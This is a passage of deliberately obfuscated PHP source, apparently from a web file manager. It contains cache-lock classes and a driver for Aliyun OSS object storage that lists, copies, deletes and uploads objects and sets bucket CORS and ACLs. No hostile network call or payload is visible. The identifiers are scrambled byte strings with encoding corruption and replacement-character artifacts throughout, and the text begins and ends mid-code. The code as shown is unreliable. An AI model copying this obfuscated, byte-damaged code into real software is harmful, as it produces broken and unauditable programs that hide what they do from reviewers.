$_SERVER[ˆ¡¹µ‹Â]; $€¢Ú¿®º = rtrim(self::$cachePath, $˜òÃç§[8]) . $˜òÃç§[938] . md5($˜¼Ø–×Ò) . $˜òÃç§[935]; return file_exists($€¢Ú¿®º); } public function unlock($²Ï×òþ¶) { $àé¼ò©Ç =& $_SERVER[ˆ¡¹µ‹Â]; $Ðí<C390>ÇŽ = self::$caches[$²Ï×òþ¶]; if (!$Ðí<C390>ÇŽ) { return; } @flock($Ðí<C390>ÇŽ[$àé¼ò©Ç[940]], LOCK_UN); @fclose($Ðí<C390>ÇŽ[$àé¼ò©Ç[940]]); @unlink($Ðí<C390>ÇŽ[$àé¼ò©Ç[230]]); unset(self::$caches[$²Ï×òþ¶]); } } class CacheLockRedis { public function lock($¡‹ŸïÄê, $ÖÛÊÈáí = 10) { $è’À„²ý = Cache::init(); $‡¦ßÜƒÛ = microtime(!0) + $ÖÛÊÈáí; while (microtime(!0) < $‡¦ß܃Û) { $šÜÙø´í = $è’À„²ý->get($¡‹ŸïÄê); if (!$šÜÙø´í) { $¢ÍÞ¸ÕØ = $è’À„²ý->setLock($¡‹ŸïÄê, $‡¦ß܃Û, $ÖÛÊÈáí); if ($¢ÍÞ¸ÕØ) { return !0; } } else { if ($šÜÙø´í < microtime(!0)) { $è’À„²ý->set($¡‹ŸïÄê, $‡¦ß܃Û, $ÖÛÊÈáí * 2); if ($è’À„²ý->get($¡‹ŸïÄê) === $šÜÙø´í) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ÒáäÈ»Ï) { return Cache::init()->get($ÒáäÈ»Ï); } public function unlock($ðç´º÷) { return Cache::init()->remove($ðç´º÷); } } goto B—¿áÄì¹<C3AC>; C¤Ÿ‰õöêÂ: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $config = array(); public function __construct($·î󜆪) { parent::__construct(); include_once SDK_DIR . $_SERVER[ˆ¡¹µ‹Â][1453]; $this->_init($·î󜆪); } public function _init($<>Ýü”Š) { $ä×ö<C397>Ï<EFBFBD> =& $_SERVER[ˆ¡¹µ‹Â]; $this->config = $<>Ýü”Š; foreach ($<>Ýü”Š as $׉ð›’à => $ŒÌ¤®£ñ) { if (isset($this->{$׉ð›’Ã})) { $this->{$׉ð›’Ã} = $ŒÌ¤®£ñ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ä×ö<C397>Ï<EFBFBD>[1454] . LNG($ä×ö<C397>Ï<EFBFBD>[1455])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $þ§½ÉÆ¿ =& $_SERVER[ˆ¡¹µ‹Â]; $ÍÁ¼¿Œœ = new OSS\Model\CorsConfig(); $ŽÈÝžº† = new OSS\Model\CorsRule(); $ŽÈÝžº†->addAllowedOrigin($þ§½ÉÆ¿[1456]); $ŽÈÝžº†->addAllowedMethod($þ§½ÉÆ¿[1457]); $ŽÈÝžº†->addAllowedMethod($þ§½ÉÆ¿[1458]); $ŽÈÝžº†->addAllowedMethod($þ§½ÉÆ¿[1459]); $ŽÈÝžº†->addAllowedMethod($þ§½ÉÆ¿[1460]); $ŽÈÝžº†->addAllowedMethod($þ§½ÉÆ¿[165]); $ŽÈÝžº†->setMaxAgeSeconds(600); $ŽÈÝžº†->addExposeHeader($þ§½ÉÆ¿[1461]); $ŽÈÝžº†->addAllowedHeader($þ§½ÉÆ¿[1456]); $ÍÁ¼¿Œœ->addRule($ŽÈÝžº†); try { $this->client->putBucketCors($this->bucket, $ÍÁ¼¿Œœ); } catch (OSS\Core\OssException $Ý÷ŽÓÐÍ) { $this->writeLog(__FUNCTION__ . $þ§½ÉÆ¿[214] . $Ý÷ŽÓÐÍ->getMessage()); return !1; } return !0; } public function getBucketCors() { $“•½…íÌ =& $_SERVER[ˆ¡¹µ‹Â]; $àíž¡Žò = null; try { $àíž¡Žò = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $¡Ñ¨ß˜€) { $this->writeLog(__FUNCTION__ . $“•½…íÌ[214] . $¡Ñ¨ß˜€->getMessage()); return null; } if (!$àíž¡Žò || !($‰¶àó¼¸ = $àíž¡Žò->getRules())) { return null; } $…„Äö²æ = $‰¶àó¼¸[0]->getAllowedOrigins(); $°­™ÙÓØ = $‰¶àó¼¸[0]->getAllowedMethods(); $ª®•ª<E280A2>í = $‰¶àó¼¸[0]->getMaxAgeSeconds(); $¾—ݵ³¶ = $‰¶àó¼¸[0]->getExposeHeaders(); $üÃ٘ͮ = $‰¶àó¼¸[0]->getAllowedHeaders(); return array($“•½…íÌ[218] => isset($…„Äö²æ[0]) ? $…„Äö²æ[0] : $“•½…íÌ[12], $“•½…íÌ[222] => $°­™ÙÓØ, $“•½…íÌ[1462] => $ª®•ª<E280A2>í, $“•½…íÌ[1463] => isset($¾—ݵ³¶[0]) ? $¾—ݵ³¶[0] : $“•½…íÌ[12], $“•½…íÌ[219] => isset($üÃ٘ͮ[0]) ? $üÃ٘ͮ[0] : $“•½…íÌ[12]); } public function isBucketCors() { $ŠòñŽ<C3B1> =& $_SERVER[ˆ¡¹µ‹Â]; $ž¿â<C2BF>çÕ = $this->getBucketCors(); if (!$ž¿â<C2BF>çÕ || !is_array($ž¿â<C2BF>çÕ)) { return !1; } if ($ž¿â<C2BF>çÕ[$ŠòñŽ<C3B1>[218]] != $ŠòñŽ<C3B1>[220] || $ž¿â<C2BF>çÕ[$ŠòñŽ<C3B1>[219]] != $ŠòñŽ<C3B1>[220]) { return !1; } $ûŶޗ¤ = array_map($ŠòñŽ<C3B1>[221], $ž¿â<C2BF>çÕ[$ŠòñŽ<C3B1>[222]]); if (!is_array($ûŶޗ¤)) { $ûŶޗ¤ = array(); } $®“Í­<C38D>Ž = array($ŠòñŽ<C3B1>[223], $ŠòñŽ<C3B1>[224], $ŠòñŽ<C3B1>[225], $ŠòñŽ<C3B1>[226], $ŠòñŽ<C3B1>[227]); $˜½»Ì¯• = array_diff($®“Í­<C38D>Ž, $ûŶޗ¤); return empty($˜½»Ì¯•); } public function mkfile($Äëá•Òˆ, $Áúú›·Ó = '', $š¯èžœÔ = REPEAT_RENAME) { $òÏδ‰­ = $this->setContent($Äëá•Òˆ, $Áúú›·Ó); if ($òÏδ‰­ !== !1) { return $this->getPathOuter($Äëá•Òˆ); } return !1; } public function mkdir($즖œ¾Ç, $ß„±Å±ð = REPEAT_SKIP) { if ($ß„±Å±ð && $this->_isFolder($즖œ¾Ç)) { return $this->getPathOuter($즖œ¾Ç); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($즖œ¾Ç)); } catch (OSS\Core\OssException $ŠÅî×­Ñ) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][214] . $ŠÅî×­Ñ->getMessage()); return !1; } return $this->getPathOuter($즖œ¾Ç); } private function fileList($åöÉÍ­Ü, $Öâ˃ºü = '', $ɨñô׉ = 0) { $£æÑݘ” =& $_SERVER[ˆ¡¹µ‹Â]; $åöÉÍ­Ü = trim($åöÉÍ­Ü, $£æÑݘ”[8]); $çÇåü ò = empty($åöÉÍ­Ü) && $åöÉÍ­Ü !== $£æÑݘ”[228] ? $£æÑݘ”[12] : $åöÉÍ­Ü . $£æÑݘ”[8]; $¨«å<C2AB>§å = $£æÑݘ”[12]; $½™ûùÒÝ = 1000; $™º<E284A2>û = $“¤—¡©® = array(); while (!0) { check_abort(); $‰ßÅ›×¾ = array($£æÑݘ”[1464] => $Öâ˃ºü, $£æÑݘ”[1465] => $çÇåü ò, $£æÑݘ”[1466] => $½™ûùÒÝ, $£æÑݘ”[1467] => $¨«å<C2AB>§å); try { $Ó¡ùóù¬ = $this->client->listObjects($this->bucket, $‰ßÅ›×¾); } catch (OSS\Core\OssException $«Í›éÄõ) { $this->writeLog(__FUNCTION__ . $£æÑݘ”[214] . $«Í›éÄõ->getMessage()); break; } $¨«å<C2AB>§å = $Ó¡ùóù¬->getNextMarker(); $ž›‘¯¥» = $Ó¡ùóù¬->getObjectList(); $€ŒÕ¸»Æ = $Ó¡ùóù¬->getPrefixList(); foreach ($ž›‘¯¥» as $ñéì̾¿) { if ($ñéì̾¿->getKey() == $çÇåü ò) { continue; } $º…ÂÌÈí = $ñéì̾¿->getKey(); $À¤ÏÉÊÉ = $ñéì̾¿->getSize(); $†€…¾É‘ = $ñéì̾¿->getLastModified(); $ºØü÷õç = trim($ñéì̾¿->getETag(), $£æÑݘ”[121]); $Åô±ÞðÔ = $ɨñô׉ ? array($£æÑݘ”[32] => $º…ÂÌÈí, $£æÑݘ”[79] => $À¤ÏÉÊÉ, $£æÑݘ”[206] => strtotime($†€…¾É‘), $£æÑݘ”[1468] => $ºØü÷õç) : $º…ÂÌÈí; $ïð¥’µÒ = $À¤ÏÉÊÉ == 0 && substr($º…ÂÌÈí, strlen($º…ÂÌÈí) - 1, 1) == $£æÑݘ”[8] ? !0 : !1; $¡Ò›žý§ = array($£æÑݘ”[79] => $À¤ÏÉÊÉ, $£æÑݘ”[1469] => $À¤ÏÉÊÉ, $£æÑݘ”[88] => strtotime($†€…¾É‘), $£æÑݘ”[1470] => $†€…¾É‘, $£æÑݘ”[1468] => $ºØü÷õç); $this->cacheMethodInfoSet($º…ÂÌÈí, $ï𥒵Ò, $¡Ò›žý§); if ($ï𥒵Ò) { $™º<E284A2>û[] = $º…ÂÌÈí; continue; } $“¤—¡©®[] = $Åô±ÞðÔ; } foreach ($€ŒÕ¸»Æ as $÷›õš‘‡) { $™º<E284A2>û[] = $÷›õš‘‡->getPrefix(); $this->cacheMethodInfoSet($÷›õš‘‡->getPrefix(), !0); } if ($¨«å<C2AB>§å === $£æÑݘ”[12]) { break; } } $this->cacheMethodInfoSet($åöÉÍ­Ü, !0); return array($£æÑݘ”[85] => $™º<E284A2>û, $£æÑݘ”[86] => $“¤—¡©®); } public function listObject($‹âÁŸ Þ, $…–ÚÌàÊ = '') { $–¤Žò…ù =& $_SERVER[ˆ¡¹µ‹Â]; $‹âÁŸ Þ = trim($‹âÁŸ Þ, $–¤Žò…ù[8]); $Ö•¨áµ˜ = empty($‹âÁŸ Þ) && $‹âÁŸ Þ !== $–¤Žò…ù[228] ? $–¤Žò…ù[12] : $‹âÁŸ Þ . $–¤Žò…ù[8]; $‰Î¡Œ”ž = $–¤Žò…ù[12]; $þ×µ”«Â = 1000; $³è‰ãžÝ = $Ç‘ƒ¯™Ë = array(); while (!0) { check_abort(); $à€<C3A0><EFBFBD>à = array($–¤Žò…ù[1464] => $…–ÚÌàÊ, $–¤Žò…ù[1465] => $Ö•¨áµ˜, $–¤Žò…ù[1466] => $þ×µ”«Â, $–¤Žò…ù[1467] => $‰Î¡Œ”ž); try { $šŒö = $this->client->listObjects($this->bucket, $à€<C3A0><EFBFBD>Ã); } catch (OSS\Core\OssException $Ôó±Ò™<C392>) { $this->writeLog(__FUNCTION__ . $–¤Žò…ù[214] . $Ôó±Ò™<C392>->getMessage()); break; } $‰Î¡Œ”ž = $šŒö->getNextMarker(); $ñˆ°<CB86>Ô÷ = $šŒö->getObjectList(); foreach ($ñˆ°<CB86>Ô÷ as $ÛÈë¡Â•) { if ($ÛÈë¡Â•->getKey() == $Ö•¨áµ˜) { continue; } $¶³¼ˆï¹ = $ÛÈë¡Â•->getKey(); $…”¡ÔòÈ = $ÛÈë¡Â•->getSize(); $Õ°½àé· = $…”¡ÔòÈ == 0 && substr($¶³¼ˆï¹, strlen($¶³¼ˆï¹) - 1, 1) == $–¤Žò…ù[8] ? !0 : !1; if ($Õ°½àé·) { continue; } $Ç‘ƒ¯™Ë[] = $…”¡ÔòÈ . $–¤Žò…ù[214] . $¶³¼ˆï¹; } if ($‰Î¡Œ”ž === $–¤Žò…ù[12]) { break; } } return array($–¤Žò…ù[85] => $³è‰ãžÝ, $–¤Žò…ù[86] => $Ç‘ƒ¯™Ë); } public function copyFile($¼¬®‚ßá, $½×±ëßš) { $ê¿õ¢²± = $this->size($¼¬®‚ßá); if ($ê¿õ¢²± < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $¼¬®‚ßá, $this->bucket, $this->pathEncode($½×±ëßš)); } catch (OSS\Core\OssException $ýÄЊ²) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][214] . $ýÄЊ²->getMessage()); return !1; } return $this->getPathOuter($½×±ëßš); } $<24>ÒЮå = $this->multiCopyObject($¼¬®‚ßá, $½×±ëßš, $ê¿õ¢²±); return $<24>ÒЮå ? $this->getPathOuter($½×±ëßš) : !1; } private function multiCopyObject($•þ×ìûí, $¦ûŒÖŽ<C396>, $ Ã‡ôÅ·) { $ÒîŠ<C3AE>³µ =& $_SERVER[ˆ¡¹µ‹Â]; try { $¼Œ¸“ö½ = array(); if ($¾»Ð÷ì¬ = $this->hashMd5($•þ×ìûí)) { $¼Œ¸“ö½ = array(OSS\OssClient::OSS_HEADERS => array($ÒîŠ<C3AE>³µ[1471] => $¾»Ð÷ì¬)); } $ ³…‡£å = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($¦ûŒÖŽ<C396>), $¼Œ¸“ö½); $««ß¨Û„ = 1; $ÙÒŽ¶‘Î = 0; $«ŽÍç“™ = array(); $±™Ö¶<C396>§ = 1024 * 1024 * 10; $øÚ¯<C39A>Ü = $this->client->generateMultiuploadParts($ Ã‡ôÅ·, $±™Ö¶<C396>§); foreach ($øÚ¯<C39A>Ü as $ˆúˆþþÞ => $ÄõþÖøØ) { $ò‰Ö´ê‘ = $ÙÒŽ¶‘Î + (int) $ÄõþÖøØ[$ÒîŠ<C3AE>³µ[1472]]; $­Ü½ÈÀŸ = (int) $ÄõþÖøØ[$ÒîŠ<C3AE>³µ[413]] + $ò‰Ö´ê‘ - 1; $„л ž£ = array($ÒîŠ<C3AE>³µ[167] => $ò‰Ö´ê‘, $ÒîŠ<C3AE>³µ[168] => $­Ü½ÈÀŸ); $«ŽÍç“™[] = $this->client->uploadPartCopy($this->bucket, $•þ×ìûí, $this->bucket, $this->pathEncode($¦ûŒÖŽ<C396>), $««ß¨Û„, $ ³…‡£å, $„л ž£); $««ß¨Û„ = $««ß¨Û„ + 1; } $à•éô¤¼ = array(); foreach ($«ŽÍç“™ as $ˆúˆþþÞ => $ŸªÌÀ¯á) { $à•éô¤¼[] = array($ÒîŠ<C3AE>³µ[308] => $ˆúˆþþÞ + 1, $ÒîŠ<C3AE>³µ[309] => $ŸªÌÀ¯á); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($¦ûŒÖŽ<C396>), $ ³…‡£å, $à•éô¤¼); } catch (OSS\Core\OssException $”Äê·Õ´) { $this->writeLog(__FUNCTION__ . $ÒîŠ<C3AE>³µ[214] . $”Äê·Õ´->getMessage()); return !1; } return !0; } public function moveFile($Ê™ÁÓ†”, $¾ò§Ûþ«) { if ($this->copyFile($Ê™ÁÓ†”, $¾ò§Ûþ«)) { $this->remove($Ê™ÁÓ†”); return $this->getPathOuter($¾ò§Ûþ«); } return !1; } public function delFile($íÁüÚûà) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($íÁüÚûà)); } catch (OSS\Core\OssException $ŒþŸî»¯) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][214] . $ŒþŸî»¯->getMessage()); return !1; } return !0; } public function delFolder($ëÇá⪅) { $šç¨ŒÀ· =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->exist($ëÇá⪅)) { return !0; } $this->listItemCache = !1; $½ÂÚ<C382>½õ = $this->fileList($ëÇá⪅); $this->listItemCache = !0; $„¡õâÚÛ = trim($ëÇá⪅, $šç¨ŒÀ·[8]) . $šç¨ŒÀ·[8]; if (!empty($ëÇá⪅) && $ëÇá⪅ !== $šç¨ŒÀ·[228] && !in_array($„¡õâÚÛ, $½ÂÚ<C382>½õ[$šç¨ŒÀ·[85]])) { $½ÂÚ<C382>½õ[$šç¨ŒÀ·[85]][] = $„¡õâÚÛ; } $Ó²õï›ì = $this->delByBatch($½ÂÚ<C382>½õ[$šç¨ŒÀ·[86]]); if (!$Ó²õï›ì) { return !1; } $Ó²õï›ì = $this->delByBatch($½ÂÚ<C382>½õ[$šç¨ŒÀ·[85]]); if (!$Ó²õï›ì) { return !1; } return $this->delFile($„¡õâÚÛ); } private function delByBatch($“ºžâ›«) { foreach (array_chunk($“ºžâ›«, 1000) as $Ëšû†ùí) { try { $this->client->deleteObjects($this->bucket, $Ëšû†ùí); } catch (OSS\Core\OssException $ö¨ÓÍ<C393>) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][214] . $ö¨ÓÍ<C393>->getMessage()); return !1; } } return !0; } public function rename($ËÊóî”Æ, $<24>ØÖýÇØ) { return $this->renameObject($ËÊóî”Æ, $<24>ØÖýÇØ); } private function fileInfo($<24>ëÒ¼Îî, $©ü’”Η = false, $æä༎¸ = array()) { $ñ²ŽÎóˆ =& $_SERVER[ˆ¡¹µ‹Â]; $’™Ï»‡¢ = array($ñ²ŽÎóˆ[32] => $this->pathThis($<24>ëÒ¼Îî), $ñ²ŽÎóˆ[87] => $this->getPathOuter($<24>ëÒ¼Îî), $ñ²ŽÎóˆ[33] => $ñ²ŽÎóˆ[230], $ñ²ŽÎóˆ[79] => isset($æä༎¸[$ñ²ŽÎóˆ[79]]) ? $æä༎¸[$ñ²ŽÎóˆ[79]] : 0, $ñ²ŽÎóˆ[169] => $this->ext($<24>ëÒ¼Îî)); if ($©ü’”Η) { return $’™Ï»‡¢; } $’™Ï»‡¢[$ñ²ŽÎóˆ[231]] = $’™Ï»‡¢[$ñ²ŽÎóˆ[88]] = 0; $’™Ï»‡¢[$ñ²ŽÎóˆ[232]] = $’™Ï»‡¢[$ñ²ŽÎóˆ[233]] = !0; if (empty($æä༎¸)) { $í½åš<C3A5>ø = $this->objectMeta($<24>ëÒ¼Îî); if (!$í½åš<C3A5>ø) { return $’™Ï»‡¢; } $æä༎¸ = array($ñ²ŽÎóˆ[88] => strtotime($í½åš<C3A5>ø[$ñ²ŽÎóˆ[1470]]), $ñ²ŽÎóˆ[79] => $í½åš<C3A5>ø[$ñ²ŽÎóˆ[1469]] + 0, $ñ²ŽÎóˆ[1468] => $í½åš<C3A5>ø[$ñ²ŽÎóˆ[1468]]); } if (isset($æä༎¸[$ñ²ŽÎóˆ[1468]]) && $æä༎¸[$ñ²ŽÎóˆ[1468]]) { $’™Ï»‡¢[$ñ²ŽÎóˆ[235]] = trim($æä༎¸[$ñ²ŽÎóˆ[1468]], $ñ²ŽÎóˆ[121]); } if (isset($æä༎¸[$ñ²ŽÎóˆ[79]])) { $’™Ï»‡¢[$ñ²ŽÎóˆ[79]] = $æä༎¸[$ñ²ŽÎóˆ[79]]; } if (isset($æä༎¸[$ñ²ŽÎóˆ[88]])) { $’™Ï»‡¢[$ñ²ŽÎóˆ[88]] = $æä༎¸[$ñ²ŽÎóˆ[88]]; } if (isset($æä༎¸[$ñ²ŽÎóˆ[206]]) && !trim($’™Ï»‡¢[$ñ²ŽÎóˆ[88]])) { $’™Ï»‡¢[$ñ²ŽÎóˆ[88]] = $æä༎¸[$ñ²ŽÎóˆ[206]]; } return $’™Ï»‡¢; } private function folderInfo($¶°–Èøª, $¨¨–፠= false, $ü󙹈® = array()) { $‰¼¤ÞÑÐ =& $_SERVER[ˆ¡¹µ‹Â]; $ô×´³…­ = array($‰¼¤ÞÑÐ[32] => $this->pathThis($¶°–Èøª), $‰¼¤ÞÑÐ[87] => $this->getPathOuter($‰¼¤ÞÑÐ[8] . $¶°–Èøª), $‰¼¤ÞÑÐ[33] => $‰¼¤ÞÑÐ[78]); if ($¨¨–áŤ) { return $ô×´³…­; } $ô×´³…­[$‰¼¤ÞÑÐ[231]] = $ô×´³…­[$‰¼¤ÞÑÐ[88]] = 0; $ô×´³…­[$‰¼¤ÞÑÐ[232]] = $ô×´³…­[$‰¼¤ÞÑÐ[233]] = !0; if (empty($ü󙹈®)) { $¶°–Èøª = rtrim($¶°–Èøª, $‰¼¤ÞÑÐ[8]) . $‰¼¤ÞÑÐ[8]; $ßÅÒ¶ÞË = $this->objectMeta($¶°–Èøª); if (!$ßÅÒ¶ÞË) { return $ô×´³…­; } $ü󙹈® = array($‰¼¤ÞÑÐ[231] => $ßÅÒ¶ÞË[$‰¼¤ÞÑÐ[575]][$‰¼¤ÞÑÐ[1473]], $‰¼¤ÞÑÐ[88] => strtotime($ßÅÒ¶ÞË[$‰¼¤ÞÑÐ[1470]])); } if (isset($ü󙹈®[$‰¼¤ÞÑÐ[88]])) { $ô×´³…­[$‰¼¤ÞÑÐ[88]] = $ü󙹈®[$‰¼¤ÞÑÐ[88]]; } if (isset($ü󙹈®[$‰¼¤ÞÑÐ[231]])) { $ô×´³…­[$‰¼¤ÞÑÐ[231]] = $ü󙹈®[$‰¼¤ÞÑÐ[231]]; } return $ô×´³…­; } public function listPath($îÀÓä<C393>ü, $ˤ얞è = false) { $»›î’ʯ =& $_SERVER[ˆ¡¹µ‹Â]; $–³ö“×÷ = $this->fileList($îÀÓä<C393>ü, $»›î’ʯ[8], !0); foreach ($–³ö“×÷[$»›î’ʯ[85]] as $¦ßáÄ<C3A1>± => $•Â÷œÅé) { $–³ö“×÷[$»›î’ʯ[85]][$¦ßáÄ<C3A1>±] = $this->folderInfo($•Â÷œÅé, $ˤ얞è, $•Â÷œÅé); } foreach ($–³ö“×÷[$»›î’ʯ[86]] as $¦ßáÄ<C3A1>± => $•Â÷œÅé) { $–³ö“×÷[$»›î’ʯ[86]][$¦ßáÄ<C3A1>±] = $this->fileInfo($•Â÷œÅé[$»›î’ʯ[32]], $ˤ얞è, $•Â÷œÅé); } return $–³ö“×÷; } protected function infoChildren($ïÓíÄØÈ, &$ƒ¿Ê…ïò) { $Íô²Úìæ =& $_SERVER[ˆ¡¹µ‹Â]; $øžÕ“Éý = $this->fileList($ïÓíÄØÈ, $Íô²Úìæ[12], !0); $ƒ¿Ê…ïò[$Íô²Úìæ[81]] += count($øžÕ“Éý[$Íô²Úìæ[85]]); $ƒ¿Ê…ïò[$Íô²Úìæ[80]] += count($øžÕ“Éý[$Íô²Úìæ[86]]); foreach ($øžÕ“Éý[$Íô²Úìæ[86]] as $Üœ„ÆäÝ) { if (!$Üœ„ÆäÝ || !$Üœ„ÆäÝ[$Íô²Úìæ[79]]) { continue; } $ƒ¿Ê…ïò[$Íô²Úìæ[79]] += $Üœ„ÆäÝ[$Íô²Úìæ[79]]; } } public function has($¹’ÈŸŒ¬, $ʶø<C2B6>…Ì = false, $甤¥ù¯ = true) { $±‚Ï¢ÑÄ =& $_SERVER[ˆ¡¹µ‹Â]; $¹’ÈŸŒ¬ = trim($¹’ÈŸŒ¬, $±‚Ï¢ÑÄ[8]); $›¯³Ä̼ = empty($¹’ÈŸŒ¬) && $¹’ÈŸŒ¬ !== $±‚Ï¢ÑÄ[228] ? $±‚Ï¢ÑÄ[12] : $¹’ÈŸŒ¬ . $±‚Ï¢ÑÄ[8]; $æÁà”¹í = $±‚Ï¢ÑÄ[12]; $<24>ùΚóï = 500; $𰱸þš = $¢Æ¼¯åê = 0; while (!0) { check_abort(); $½™ˆÖæØ = array($±‚Ï¢ÑÄ[1464] => $±‚Ï¢ÑÄ[8], $±‚Ï¢ÑÄ[1465] => $›¯³Ä̼, $±‚Ï¢ÑÄ[1466] => $<24>ùΚóï, $±‚Ï¢ÑÄ[1467] => $æÁà”¹í); try { $þ ®ìŒÃ = $this->client->listObjects($this->bucket, $½™ˆÖæØ); } catch (OSS\Core\OssException $¨ê×ôÍ<C3B4>) { $this->writeLog(__FUNCTION__ . $±‚Ï¢ÑÄ[214] . $¨ê×ôÍ<C3B4>->getMessage()); break; } $æÁà”¹í = $þ ®ìŒÃ->getNextMarker(); $<24>§ó™<C3B3><E284A2> = $þ ®ìŒÃ->getObjectList(); $•ÞÙšãÏ = $þ ®ìŒÃ->getPrefixList(); if ($ʶø<C2B6>…Ì) { if (count($<24>§ó™<C3B3><E284A2>) > 1 || count($<24>§ó™<C3B3><E284A2>) == 1 && $<24>§ó™<C3B3><E284A2>[0]->getKey() != $›¯³Ä̼) { $𰱸þš += count($<24>§ó™<C3B3><E284A2>) - 1; } if (!empty($•ÞÙšãÏ)) { $¢Æ¼¯åê += count($•ÞÙšãÏ); } if ($æÁà”¹í === $±‚Ï¢ÑÄ[12]) { break; } continue; } if ($甤¥ù¯) { if (!empty($<24>§ó™<C3B3><E284A2>)) { if (count($<24>§ó™<C3B3><E284A2>) > 1 || $<24>§ó™<C3B3><E284A2>[0]->getKey() != $›¯³Ä̼) { return !0; } } } else { if (!empty($•ÞÙšãÏ)) { return !0; } } if ($æÁà”¹í === $±‚Ï¢ÑÄ[12]) { break; } } if ($ʶø<C2B6>…Ì) { return array($±‚Ï¢ÑÄ[239] => $𰱸þš, $±‚Ï¢ÑÄ[240] => $¢Æ¼¯åê); } return !1; } public function listAll($Ž‘Ûî­÷) { $ÈÚýò¤‡ =& $_SERVER[ˆ¡¹µ‹Â]; $К‘ÒÎô = $this->fileList($Ž‘Ûî­÷, $ÈÚýò¤‡[12], !0); $<24>­¥æØ = array_to_keyvalue($К‘ÒÎô[$ÈÚýò¤‡[86]], $ÈÚýò¤‡[32]); foreach ($К‘ÒÎô[$ÈÚýò¤‡[85]] as $çï÷«âæ) { if (is_string($çï÷«âæ)) { $<24>­¥æØ[$çï÷«âæ] = array($ÈÚýò¤‡[79] => 0); } } return $this->listAllFiles($Ž‘Ûî­÷, $<24>­¥æØ); } public function canRead($ñÙÅ©Åû) { $Ÿ¯µãÀâ =& $_SERVER[ˆ¡¹µ‹Â]; $¹<>µ´ôÈ = $this->pathAcl($ñÙÅ©Åû); return $¹<>µ´ôÈ == $Ÿ¯µãÀâ[1474] || $¹<>µ´ôÈ == $Ÿ¯µãÀâ[619] ? !0 : !1; } public function canWrite($äŸÓ—®¼) { $ñÆóà…¡ = $this->pathAcl($äŸÓ—®¼); return $ñÆóà…¡ == $_SERVER[ˆ¡¹µ‹Â][619] ? !0 : !1; } public function pathAcl($ª½<C2AA>Χ”) { $ûÓƒ¿Ç– =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $íÚД’Ó = $this->client->getObjectAcl($this->bucket, $this->pathEncode($ª½<C2AA>Χ”)); } catch (OSS\Core\OssException $³éü¸Ü°) { $this->writeLog(__FUNCTION__ . $ûÓƒ¿Ç–[214] . $³éü¸Ü°->getMessage()); return !1; } $íÜÍ‘Ýæ = $íÚД’Ó == $ûÓƒ¿Ç–[37] ? $this->bucketAcl : $íÚД’Ó; if ($íÜÍ‘Ýæ == $ûÓƒ¿Ç–[1475]) { return $ûÓƒ¿Ç–[1474]; } if ($íÜÍ‘Ýæ == $ûÓƒ¿Ç–[1476]) { return $ûÓƒ¿Ç–[619]; } return $íÜÍ‘Ýæ; } private function chmodPath($ œä¯Šô, $ÊåÌ©óí = '') { $ñ®àŒÚ¯ =& $_SERVER[ˆ¡¹µ‹Â]; $Ÿ†ô»¦ë = empty($ÊåÌ©óí) ? $ñ®àŒÚ¯[1476] : $ÊåÌ©óí; $†Àý<C3BD>é = array($ñ®àŒÚ¯[37], $ñ®àŒÚ¯[229], $ñ®àŒÚ¯[1475], $ñ®àŒÚ¯[1476]); if (!in_array($Ÿ†ô»¦ë, $†Àý<C3BD>é)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($ œä¯Šô), $Ÿ†ô»¦ë); } catch (OSS\Core\OssException $¤¶¹þˆÇ) { $this->writeLog(__FUNCTION__ . $ñ®àŒÚ¯[214] . $¤¶¹þˆÇ->getMessage()); return !1; } return !0; } public function getContent($€<>ÔþõÅ) { return $this->fileSubstr($€<>ÔþõÅ, -1); } public function setContent($É<>¹Ž ù, $œ‰‚ÀðÔ = '') { $’™ˆ–îâ =& $_SERVER[ˆ¡¹µ‹Â]; try { $µŸû“ô“ = $this->trafficLimit($’™ˆ–îâ[1477]); $Üìã¶™Ú = $this->client->putObject($this->bucket, $this->pathEncode($É<>¹Ž ù), $œ‰‚ÀðÔ, $µŸû“ô“); } catch (OSS\Core\OssException $§‘—ìëÎ) { $this->writeLog(__FUNCTION__ . $’™ˆ–îâ[214] . $§‘—ìëÎ->getMessage()); return !1; } $«þµß›Í = array($’™ˆ–îâ[1471] => trim($Üìã¶™Ú[$’™ˆ–îâ[1468]], $’™ˆ–îâ[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($É<>¹Ž ù))); $this->updateObjMeta($É<>¹Ž ù, $«þµß›Í); return isset($Üìã¶™Ú[$’™ˆ–îâ[1478]][$’™ˆ–îâ[292]]) ? !0 : !1; } private function updateObjMeta($ǢÞá®, $ƱÃ÷Ûª) { $ǢÞá® = $this->pathEncode($ǢÞá®); try { $Ú­<C39A>¥· = array(OSS\OssClient::OSS_HEADERS => $ƱÃ÷Ûª); $this->client->copyObject($this->bucket, $ǢÞá®, $this->bucket, $ǢÞá®, $Ú­<C39A>¥·); } catch (OSS\Core\OssException $¡ˆåœè£) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][214] . $¡ˆåœè£->getMessage()); return !1; } return !0; } public function upload($¿Ë¾ï¾Å, $ã±üåàå, $Å<E280BA>ÀÀ„ = false, $¬¯Þ„Øß = REPEAT_REPLACE) { $úÇá‚þº =& $_SERVER[ˆ¡¹µ‹Â]; 